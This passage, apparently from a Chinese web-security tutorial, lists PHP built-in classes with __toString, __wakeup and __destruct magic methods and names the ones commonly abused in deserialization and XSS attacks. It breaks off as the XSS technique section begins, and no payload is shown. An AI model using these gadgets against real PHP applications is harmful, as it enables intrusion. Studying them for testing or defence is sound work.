RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString DOMException::__wakeup DOMException::__toString PDOException::__wakeup PDOException::__toString PDO::__wakeup PDOStatement::__wakeup SimpleXMLElement::__toString SimpleXMLIterator::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString com_exception::__wakeup com_exception::__toString mysqli_sql_exception::__wakeup mysqli_sql_exception::__toString
|
其中目前实际常用的类有:
1 2 3 4 5 6 7
| Error Exception SoapClient DirectoryIterator FilesystemIterator SplFileObject SimpleXMLElement
|
接下来一一讨论。
1、Error/Exception 内置类
1.条件:
在开启报错的情况下
1 2
| Exception类 适用于PHP7 PHP5版本 Error类 适用于PHP7版本
|
2.利用姿势
2.1. xss
有好一些cms会选择直接使用 echo